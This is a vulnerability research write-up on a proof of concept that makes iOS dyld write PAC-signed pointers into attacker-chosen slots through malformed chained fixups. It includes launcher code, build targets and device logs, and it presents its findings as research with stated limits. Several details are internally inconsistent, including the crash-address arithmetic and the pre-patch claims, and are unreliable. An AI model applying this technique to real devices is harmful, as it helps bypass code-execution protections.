# dyld as a Signing Oracle: Exploring Page-In Linking and Chained Fixups

_Researcher: Paolo Russo — May 2026_

---

On every iPhone with an A12 chip or later, every function pointer is cryptographically signed by hardware. You can have an arbitrary memory write primitive and still fail to execute code: any pointer you write without the correct signature is rejected by the processor before a single attacker instruction runs.

The defensive value of Pointer Authentication Code lives precisely here. The signing key cannot be read, derived, or bruteforced. Classic techniques — GOT overwrite, vtable hijacking, ROP — do not work if you cannot produce an authenticated pointer.

The question that drove this project is different: what if, instead of forging the signature, you made the system sign for you?

The dynamic linker `dyld` produces PAC-valid pointers as a routine part of its work. Every time it resolves a symbol and writes it into a GOT table entry, on arm64e it authenticates it with `pacia`. It has no choice — the system must be able to call those pointers later. The linker has the key, and uses it millions of times a day.

The concrete question becomes: is it possible to construct a dylib that makes dyld write a PAC-valid pointer into an attacker-chosen memory slot? Through what mechanism? With what limits? And what happens when the structure guiding dyld is malformed?

This project answers those questions by building everything from scratch: a Mach-O generated byte-by-byte in Python, a launcher that validates the result on real hardware, and an end-to-end demonstration of the dyld-written pointer executed through the process's dispatch event loop — with no direct call from the "attacker" code.

**Context.** CVE-2026-20700 is a memory corruption vulnerability in dyld patched in iOS 26.3 (February 2026), discovered by Google's Threat Analysis Group and exploited in targeted attacks described by Apple as "extremely sophisticated". It was part of a three-CVE chain: CVE-2025-14174 (WebKit out-of-bounds read, ASLR defeat) + CVE-2025-43529 (WebKit use-after-free, write primitive) + CVE-2026-20700 (dyld, escalation from write primitive to code execution). The precise technical details of CVE-2026-20700 have not been publicly disclosed in verified form: this project explores the chained fixups and page-in linking mechanism as a plausible dyld attack surface, and is not a confirmed reproduction of the exact bug.

---

## How PAC works

Pointer Authentication Code is a hardware feature introduced with ARMv8.3-A, present on every iPhone from the A12 (2018) onward.

When code stores a function pointer, it executes an instruction like `PACIA` ("Pointer Authenticate Instruction Address using key IA"). This instruction takes the pointer, a 64-bit context value, and a 128-bit hardware key called `IA`, and computes a Message Authentication Code that gets packed into the unused high bits of the pointer. The result looks like a normal address but carries a signature embedded in its upper half.

When that pointer is later loaded and called via `BLRAA` ("Branch with Link to Register, Authenticated using key A"), the processor executes `AUTIA` — the authentication counterpart — which recomputes the MAC from the same key and context, and verifies it against the embedded signature. If it matches, the high bits are stripped and execution proceeds normally. If it does not match, the processor corrupts the pointer's bits in a way that guarantees an immediate fault.

The `IA` key is generated randomly at process startup. It lives in a hardware register that is not readable from userspace. It is different for every process. It cannot be derived from any software side channel that does not already give you kernel code execution.

This means that on arm64e, an arbitrary write primitive alone is not sufficient to redirect execution. You must produce an authenticated pointer — which requires, in some form, access to the key.

---

## dyld as a producer of authenticated pointers

The dynamic linker `dyld` occupies a privileged role in the process. At startup, before any user code begins executing, it resolves all symbols imported by the loaded dylibs and writes their runtime addresses into the GOT tables. On arm64e, those pointers are written **already authenticated** — because the system must be able to call them normally afterward.

In other words: dyld is, by definition, a component that produces PAC-valid pointers as a side effect of its ordinary operation. It does this for every library loaded into every process.

The specific mechanism this project explores is **page-in linking** and **chained fixups** — two components introduced with dyld4 that change when and how those pointers are produced.

---

## Chained fixups: the linked list embedded in your data

Traditionally, dyld used a separate relocation table — a list of entries like "at offset X write the address of symbol Y". Effective but expensive: iterating a hundred thousand entries at startup is measurably slow.

Chained fixups are a more compact representation. Instead of a separate table, the pointer slots themselves — the memory locations that will eventually hold runtime addresses — contain structured encodings that instruct dyld on what to do. Before dyld processes them, those slots are not addresses: they are instructions for the linker.

In the `DYLD_CHAINED_PTR_64_OFFSET` format (format 6, 4-byte stride):

```
bit 63     : 1 = bind (resolve a symbol), 0 = rebase (adjust for ASLR)
bit 62–51  : next — how many stride-units forward to find the next entry
bit 23–0   : import ordinal — index into the import table
```

These encodings form a linked list through the `__DATA` segment. dyld finds the first entry via the `page_start` field in the fixup metadata, processes it (resolves the symbol, writes the runtime address), then follows `next` to find the next entry, until `next = 0`. When done, every slot that held an encoding now holds a runtime pointer — on arm64e, an authenticated one.

On arm64e the relevant format is `DYLD_CHAINED_PTR_ARM64E_USERLAND24` (format 12, 8-byte stride). When dyld processes a bind entry in this format, it writes the resolved pointer **already signed with `pacia`**. This is the correct, intended behavior of the loader on authenticated hardware.

---

## Page-in linking: the lazy branch

Page-in linking is an optimization introduced with dyld4. Instead of applying all fixups at load time, dyld can defer them per page: fixups are applied only when a page is mapped into memory for the first time. The relevant code is `dyld4::fixupPage64`.

This branch is activated by a gate:

```c
if (pageInLinkingMode &&
    hasChainedFixups &&
    bindTargets.count() < threshold &&
    !hasFuncVarFixups) {
    setUpPageInLinking(...);
}
```

The most interesting condition is `bindTargets.count() < threshold`. Before iOS 26.3 the threshold was 100,000. From iOS 26.3 onward Apple lowered it to 64,000.

The vulnerable area in pre-patch loaders was in the write location calculation inside `fixupPage64`:

```
write_location = segment_vm_address + page_start + next * stride
```

With well-formed `page_start` and `next` values, this always lands inside the segment being fixed up. With malformed values, it can land anywhere in the process address space. On pre-patch loaders, the bounds checking was insufficient to stop this.

---

## Building the dylib from scratch

The most demanding part of this project is not the exploit mechanics — it is convincing dyld to accept a manually constructed binary. dyld performs extensive structural validation and rejects any anomaly before reaching the fixup processing code.

The first iterations of the generator (`generators/gen_malformed_dylib.py`) were rejected with familiar errors:

```
dlopen: incompatible platform (have 'unknown', need 'iOS')
dlopen: missing LC_UUID
dyld: __TEXT segment fileoffset is not zero
dyld: symbol not found (flat namespace lookup)
```

Each error taught something. The final layout that dyld accepts:

| Load Command | Value |
|---|---|
| `LC_BUILD_VERSION` | platform=iOS, minos=16.0, sdk=16.0 |
| `LC_UUID` | 16 deterministic bytes |
| `LC_SEGMENT_64 __TEXT` | fileoff=0, vmaddr=0x0, `__text` at 0x4000 |
| `LC_SEGMENT_64 __DATA` | fileoff=0x8000, vmaddr=0x8000, 2 sections |
| `LC_SEGMENT_64 __LINKEDIT` | fileoff=0xC000, fixup blob + exports trie |
| `LC_DYLD_CHAINED_FIXUPS` | offset/size in LINKEDIT |
| `LC_DYLD_EXPORTS_TRIE` | minimal exports trie |
| `LC_LOAD_DYLIB` | `@executable_path/libexports.dylib` (ordinal 1) |
| `LC_ID_DYLIB` | dylib identity |

The subtlest bug encountered during development: `sizeofcmds` in the Mach-O header must include the correct size for the `__DATA` segment. The segment has two sections (`__data` and `__poc_ptrs`), so its size is `sizeof(segment_command_64) + 2 * sizeof(section_64)`. Using `1 * sizeof(section_64)` made `sizeofcmds` too small. dyld stopped iterating load commands before reaching `LC_BUILD_VERSION` — which appears last in the layout — and reported the platform as `'unknown'`. The same error caused `codesign` to fail.

Symbol resolution requires an explicit `LC_LOAD_DYLIB` and `lib_ordinal=1` in every import entry — without it, the flat namespace lookup produced ambiguity.

---

## The __DATA layout: canaries and controlled slots

The `__DATA` segment of the generated dylib is designed to be observable:

```
__DATA,__poc_ptrs:
  +0x00  canary_before   0xAAAAAAAAAAAAAAAA  ← sentinel
  +0x08  dummy           0x0000000000000000
  +0x10  write_target    [encoded bind entry]  ← dyld will write here
  +0x18  canary_after    0xBBBBBBBBBBBBBBBB  ← sentinel
  +0x20  write_target2   [encoded bind entry]  ← second slot
```

The values at `+0x10` and `+0x20` are not addresses: before dyld processes them they are encoded bind entries. The chain entry at `+0x10` has `next=4` (4 × 4-byte stride = 16 bytes) to reach `+0x20`, and `next=0` at `+0x20` to terminate.

The `LC_DYLD_CHAINED_FIXUPS` blob in LINKEDIT declares that the chain starts at `page_start=0x10`. When dyld processes the `__DATA` page:

1. Jumps to `__DATA+0x10`
2. Decodes the bind entry: resolve `_write_target_value` from `libexports.dylib`
3. Writes the runtime address into the slot — on arm64e, signed with `pacia`
4. Follows `next=4` → jumps to `+0x20`
5. Resolves and writes the second symbol
6. `next=0` → chain ends

The canaries at `+0x00` and `+0x18` verify that dyld wrote only into the intended slots. If they change, something went wrong during chain processing.

---

## The gate: 99,000 symbols

To enter the page-in linking branch, the condition `bindTargets.count() < 100,000` must be satisfied. `libmalformed.dylib` has only two bind targets — far too few on their own. The project uses `libclient.dylib`, generated with ~99,000 imported symbols and loaded by Thread B in parallel, to create the conditions that activate the branch for images in the right range.

On iOS 26.3+: `make SYMBOLS=63000`.

---

## The deterministic crash: proof of reachability

`make stress` builds a chain with `page_start=0x3FF8` and `next=0x800`:

```
write location = 0x8000 + 0x3FF8 + (0x800 × 8) = 0xBFF8  ← outside the page
```

On iOS 18.5 (pre-patch), dyld attempts to write at `0xBFF8` and faults. The crash report:

```
Exception Subtype: KERN_PROTECTION_FAILURE at 0x000000010408BFF8

Thread 1 Crashed:
  0  dyld   dyld4::fixupPage64(...)
  1  dyld   dyld4::dyld_map_with_linking_np(...)
  2  dyld   dyld4::setUpPageInLinkingRegions(...)
  3  dyld   dyld4::Loader::setUpPageInLinking(...)
```

The crash proves that the malformed chain passed the gate and entered the vulnerable code. That it produces a fault rather than a silent write is the effect of the bounds checks present in this version — on pre-patch loaders, the same input would produce an unguarded write.

---

## The stable primitive: intra-image write-what-where

`make exploit` sets `page_start=0x10`, pointing directly at the `write_target` slot. dyld processes the bind, resolves the symbol, writes the runtime pointer. The launcher reads it and calls it.

```c
// After dlopen of libmalformed:
uint64_t written = *(uint64_t*)((uint8_t*)data_base + 0x10);

// An encoded bind entry has bit 63 = 1.
// A resolved userspace pointer never has bit 63 = 1.
// This distinguishes "dyld wrote a pointer" from "slot not yet processed".
if (written != 0 && (written >> 63) == 0) {
    void (*fn)(void) = (void(*)(void))written;
    fn();
}
```

Output on iPhone 14, iOS 18.5:

```
POC [ThreadA] write_target_value @ 0x000000010608CAE0
POC [ThreadA] write_target:  0x000000010608CAE0  WRITTEN BY DYLD
POC [ThreadA] canary_before: 0xAAAAAAAAAAAAAAAA  OK
POC [ThreadA] canary_after:  0xBBBBBBBBBBBBBBBB  OK
POC [ThreadA] hook_fn() executed
```

Both canaries intact. The address dyld wrote matches `dlsym`. The function pointer is callable. On arm64e, it is hardware-authenticated.

---

## arm64e: dyld as a signing oracle

On arm64e, after the bind, the slot contains a pointer signed with `pacia` — verifiable with `AUTIA`, callable with `BLRAA` without fault. This is the "signing oracle" concept: instead of forging a PAC tag, you make the system sign the desired pointer.

The practical distinction: in a scenario where you have an arbitrary read primitive, you can read the pointer that dyld wrote after `dlopen`. In a scenario with an arbitrary write, you can use it to overwrite an existing callback in the process. The pointer must be compatible with the calling context of the target — `AUTIA` also uses context to verify, so not every dyld-signed pointer is usable at every call site. But for callbacks using the same signing scheme (key IA, compatible discriminator), the pointer dyld produces is directly usable.

This is what makes the technique interesting as a primitive: it requires no direct access to the hardware keys, only that dyld reaches the page-in linking branch.

---

## Dispatch timer: natural execution through the event loop

`make chain_close` completes the demonstration. The second slot at `+0x20` is resolved to `_attacker_hook`. After Thread A validates the primitive, main registers that slot as the handler for a `dispatch_source_t` timer that fires after 1 second.

```c
void** cap_slot = (void**)((uint8_t*)data_base + 0x20);

dispatch_source_t src = dispatch_source_create(
    DISPATCH_SOURCE_TYPE_TIMER, 0, 0,
    dispatch_queue_create("com.poc.chain", NULL)
);
dispatch_source_set_timer(src,
    dispatch_time(DISPATCH_TIME_NOW, 1 * NSEC_PER_SEC),
    DISPATCH_TIME_FOREVER, 0);

dispatch_source_set_event_handler(src, ^{
    void (*fn)(void) = (void(*)(void))*cap_slot;
    fn();   // dispatch calls the pointer dyld wrote
    dispatch_source_cancel(src);
});
dispatch_resume(src);
```

The launcher never calls `attacker_hook` directly. It registers the slot as a callback and waits. The dispatch event loop calls it after 1 second.

Full log on iPhone 14, iOS 18.5, arm64e:

```
POC [ThreadA] write_target:   0x000000010608CAE0  WRITTEN BY DYLD
POC [ThreadA] write_target2:  0x000000010608CB20
POC [ThreadA] hook_fn() executed
POC [ThreadA] hook2() executed
POC [ThreadA] === PRIMITIVE CONFIRMED ===
POC [poc] vtable slot @+0x20 = 0x10608cb20 — registering dispatch timer...
  ← 1 second →
POC [poc] === DISPATCH EVENT (natural) ===
POC [poc] called via slot @+0x20 — not invoked by launcher
[hook] attacker_hook: running via natural dispatch
[hook] CFI bypass confirmed: dyld provided PAC-valid ptr
POC [poc] === CHAIN CLOSE: execution via event loop confirmed ===
```

The pointer dyld wrote is executed by the dispatch runtime — not by the code that produced it.

---

## What it demonstrates and what it does not

The demonstrated primitive is **intra-image**: dyld writes the pointer inside the `__DATA` of the same image it is fixing up. On patched systems, going beyond that perimeter is blocked by three independent protections:

**Post-patch bounds check**: `fixupPage64` verifies that every write location falls inside the page and segment being processed. Out-of-bounds chains produce `KERN_PROTECTION_FAILURE`.

**`__DATA_CONST`**: the GOTs and vtables of system libraries live in read-only segments after the initial binding. They are not writable at the time of a subsequent `dlopen`.

**PAC context consistency**: the tag dyld signs for the current dylib uses a context tied to that image. Copying that pointer to a call site in a different image may not pass `AUTIA` if the expected context differs.

The PoC does not demonstrate cross-image write on patched systems, nor a complete exploit chain. It demonstrates that it is possible to construct a dylib that dyld accepts and that, through its normal fixup mechanism, produces authenticated pointers in controlled slots — and that those pointers can be executed naturally through the process event loop.

It is worth being explicit about how Apple's broader security stack limits the practical attack surface of this vulnerability. Code signing requires that every loaded dylib be signed with an Apple-trusted certificate: on a production device there is no way to load an arbitrary dylib without a valid signature. The process sandbox — particularly WebContent in Safari — further restricts which paths are reachable from `dlopen`. These defense-in-depth mechanisms mean that the vulnerability, while real, requires significant prerequisites to be usable in a real attack context. It is not a primitive that can be exercised in isolation.

---

## Repository structure

```
darksword-dyld-poc/
├── Makefile
├── src/
│   └── launcher.c              ← two-thread iOS launcher + dispatch chain-close
├── generators/
│   ├── gen_exports.py          ← generates exports.c (N symbols + sentinels)
│   ├── gen_client.py           ← generates client.c (N imports, gate stress)
│   └── gen_malformed_dylib.py  ← generates libmalformed.dylib byte by byte
├── tools/
│   ├── scan_pointers.py        ← classifies Mach-O pointer sections as W/R
│   └── inspect_fixups.py       ← parses LC_DYLD_CHAINED_FIXUPS header
└── blog/
    ├── it/
    └── en/
```

No generated file is committed. Everything is reproducible from sources.

---

## Building and running

```sh
# Full build — arm64, 99k symbols
make

# Deterministic crash in fixupPage64 (proof of reachability)
make stress

# Stable intra-image write-what-where
make exploit

# Dispatch chain: dyld produces the pointer, event loop calls it
make chain_close

# Verify generated chained-fixup structure
make verify && make inspect

# Scan pointer sections
make scan

# iOS 26.3+ (threshold patched to 64k)
make chain_close SYMBOLS=63000

# Stream device logs
idevicesyslog | grep "POC"
```

---

## Closing

The starting question was whether it is possible to make dyld write a PAC-valid pointer into an externally chosen slot. The answer is yes — and it is reproducible on real hardware in a clean, verifiable way.

The value of this project is not in producing an exploit. It is in understanding precisely how dyld's fixup mechanism behaves when guided by hand-crafted Mach-O structures: what it accepts, what it rejects, how it computes write locations, and where the bounds checks stop in pre-patch versions.

The fact that Apple patched this with tighter bounds checks — and not by removing pointer signing — confirms the nature of the problem: the signing is necessary, not optional. The patch can only restrict where that signing can land, not prevent it from happening. That is the boundary between feature and attack surface, and it is worth mapping with precision.
